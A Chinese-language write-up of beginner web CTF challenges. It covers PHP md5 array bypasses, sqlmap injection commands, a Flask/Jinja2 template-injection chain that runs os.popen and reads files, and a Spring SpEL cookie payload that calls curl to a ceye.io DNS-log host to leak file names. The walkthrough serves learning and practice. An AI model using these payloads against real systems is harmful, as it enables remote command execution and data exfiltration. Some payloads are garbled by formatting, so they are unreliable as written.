记一次院赛CTF的WEB题(入门级别)
目錄
- 簽到一
- 簽到二
- 口算小天才
- easy php
- 錄取查詢
- 我愛python
- Spring
這次院賽的題目比較基礎(chǔ),適合給剛?cè)腴TCTF的小白提供一個大致CTF解題思路。(主要因為本人小白,表示能學(xué)到不少東西。)
簽到一
題目中直接給了flag,提交就可以了。
簽到二
這題主要考察的是基本的F12能力,查看網(wǎng)頁源碼,以及修改input輸入框的長度。
口算小天才
這題通過題意,是需要讓我們在1~3秒內(nèi)回答出這個計算題。這題應(yīng)該算是考察一個基本的編程能力吧。
這邊給出我的python代碼。當(dāng)然這題還有很多別的編程語言可以使用,我當(dāng)時就是直接用的js,直接獲取算式,然后我是百度了一個別人寫好js的運(yùn)算的函數(shù)CalcEval.prototype.complexEval,然后將算式傳進(jìn)去,計算得出答案,放到答案的框中,js點擊實現(xiàn)的。
easy php
其實看到vim就可以想到.swp文件的泄露,但是作為小白的我沒有想到這個,我直接放到了漏洞掃描的軟件掃了一下(強(qiáng)烈推薦這個軟件)
這里發(fā)現(xiàn)了.DS_Store的泄露。
然后用ds_store_exp這個工具下載下來(需要的是python2.7的環(huán)境)
這邊代碼審計一下,首先頁面get到a、b、c三個參數(shù),然后把a(bǔ)和b經(jīng)過的md5后的保存下來,這題輸出flag的條件分別是,1、a和b存在 2、a!=b,且a的md5和b的md5要相等 3、c<9999999||(String)$c>0這個結(jié)果要是false。
md5()這個函數(shù)可以去百度一下,如果我們傳入的a和b是數(shù)組的話,他們md5()后的返回值會是false,利用false==false可以滿足條件2
然后要滿足條件3需要知道,數(shù)組與整數(shù)比較會返回false,所以構(gòu)建如下
錄取查詢
這題可以發(fā)現(xiàn)注入點,可以直接選擇手工注入,但是更簡單的是使用sqlmap
關(guān)于sqlmap如何post注入可以看下面的
首先需要用bp抓個包,把他copy到一個txt里面保存。
使用 sqlmap –r lqcx.txt –-dbs
就是使用我們保存的這個txt,去找數(shù)據(jù)庫
?
可以發(fā)現(xiàn)有如下數(shù)據(jù)庫,因為是學(xué)校的錄取查詢,所以應(yīng)該是school,當(dāng)然不知道也沒關(guān)系,每個看一遍也能找到flag
然后sqlmap r lqcx.txt –D school –-table
就是找school數(shù)據(jù)庫的表
可以發(fā)現(xiàn)有這兩張表,所以當(dāng)然是選擇flag
使用sqlmap –r lqcx.txt –D school –T flag –-column
查找school數(shù)據(jù)庫中的flag表的字段
可以看到有flag字段
使用sqlmap –r lqcx.txt –D school –T flag –C flag –-dump
就是查找school數(shù)據(jù)庫中的flag表的flag字段,然后—dump彈出顯示出來
就能得到flag
然后放一段我同學(xué)的手工注入
我愛python
這題的話,看了他的網(wǎng)頁源碼,可以看到power by flask,然后百度一下flask漏洞
推薦這篇博客https://blog.csdn.net/lansatiankongxxc/article/details/78764726
大概可以知道我們需要他的os模塊來顯示有哪些文件,然后使用file模塊來讀取文件。
這邊使用{{().class.bases[0].subclasses()}}可以看到有哪些類,我們發(fā)現(xiàn)有file,然后我們還需要os,這邊看了大佬的write up知道了,訪問os模塊可以從warnings.catch_warnings下手,發(fā)現(xiàn)確實是包含了這個類
這邊是上面查到的那篇博客的部分截圖
首先,這邊要找warnings.catch_warnings的位置,于是我用{{[].class.base.subclasses().index(warnings.catch_warnings)}}
我發(fā)現(xiàn)不能執(zhí)行他的那個語句應(yīng)該是沒有導(dǎo)入warnings的緣故吧我想,于是我把之前用{{().class.bases[0].subclasses()}}找到的所有類放到notepad++中,批量把>換成了>\n
這邊發(fā)現(xiàn)他是第60個,換成索引就是59。
然后知道了位置,執(zhí)行
{{().class.bases[0].subclasses()[59].init.func_globals.keys() }}查看由哪些global函數(shù)
這邊可以看到有l(wèi)inecache,我們要訪問的os模塊就在這里
{{().class.bases[0].subclasses()
[59].init.getattribute(‘func_global’+‘s’)
[‘linecache’] .dict[‘o’+‘s’].dict’popen’.read()}}
當(dāng)然,這邊沒有進(jìn)行關(guān)鍵字的過濾,所以不需要拼接字符串,但是我這里還是拼接了一下。
可以看到有這些文件,很明顯我們要的是flag。
使用file模塊進(jìn)行讀寫
使用之前找到warnings.catch_warnings位置的方法,發(fā)現(xiàn)file的索引是40
{{().class.bases[0].subclasses()40.read()}}
Spring
主要給了他后臺的源碼,是一個jar包。
使用JD-GUI反編譯一下,可以看到可讀的java源碼
首先可以看到SpringBoot的配置application.yml
這邊可以看到一個管理員的賬號、密碼、權(quán)限和一個后面要用到的rememberMeKey。還有一個黑名單,我們后面需要繞過這些。
Main控制器中主要是一個賬號密碼權(quán)限和是否記住的讀取,然后如果勾選了記住我的話,會默認(rèn)給設(shè)定一個cookie
由于SmallEvaluationContext extends StandardEvaluationContext StandardEvaluationContext這些是可以執(zhí)行類類型表達(dá)式。所以會出現(xiàn)命令執(zhí)行漏洞。
這邊就是把那個username傳到了getAdvanceValue()方法里面,所以我們需要傳的這個username應(yīng)該是一個執(zhí)行后可以獲取我們想要的flag的東西。
然后可以看到這個username是把rememberMeValue傳到this.userConfig.decryptRememberMe()里面得到的。
rememberMeValue就是我們的remember-me的值,這是我們一個cookie的值,我們可以通過改cookie的值來實現(xiàn)傳入這個rememberMeValue
然后找到userConfig里面的decryptRememberMe()
就是會調(diào)用這個解開我們的cookie然后最后給到具有命令執(zhí)行漏洞的SmallEvaluationContext
所以我們要構(gòu)造這個cookie,就需要使用加密的方法,可以找到
這里的rememberMeKey的值就是之前看到的。
然后就可以把這個加密的方法copy出來,把我們想要執(zhí)行的內(nèi)容加密存入cookie
我們主要是要通過這樣來獲取一個回顯(我這里使用DNSlog的回顯方式是使用ceye.io)
Runtime.getRuntime().exec(“curl http://****(這里是自己的一個子域名).ceye.io/”)
然后構(gòu)建payload
String.class.getClass() .forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),"curl http://***.ceye.io/");我最終構(gòu)建如下
這邊就是使目標(biāo)服務(wù)器,執(zhí)行將ls下的每一個文件名作為四級域名的形式回顯。
為什么我不一次性作為一個字符串返回,是因為有長度限制
可以參考簡書https://www.jianshu.com/p/307acf4e1fbf
所以我使用了一個for循環(huán),將每個文件名作為我的域名的一部分回顯了。
可以看到有flag_j4v4_hhh的一個文件
這邊base64加密傳輸是避免部分符號的丟失
總結(jié)
以上是生活随笔為你收集整理的记一次院赛CTF的WEB题(入门级别)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 个人博客继续更新,CSDN不再更新
- 下一篇: 记一次院赛CTF的Crypto和Re题(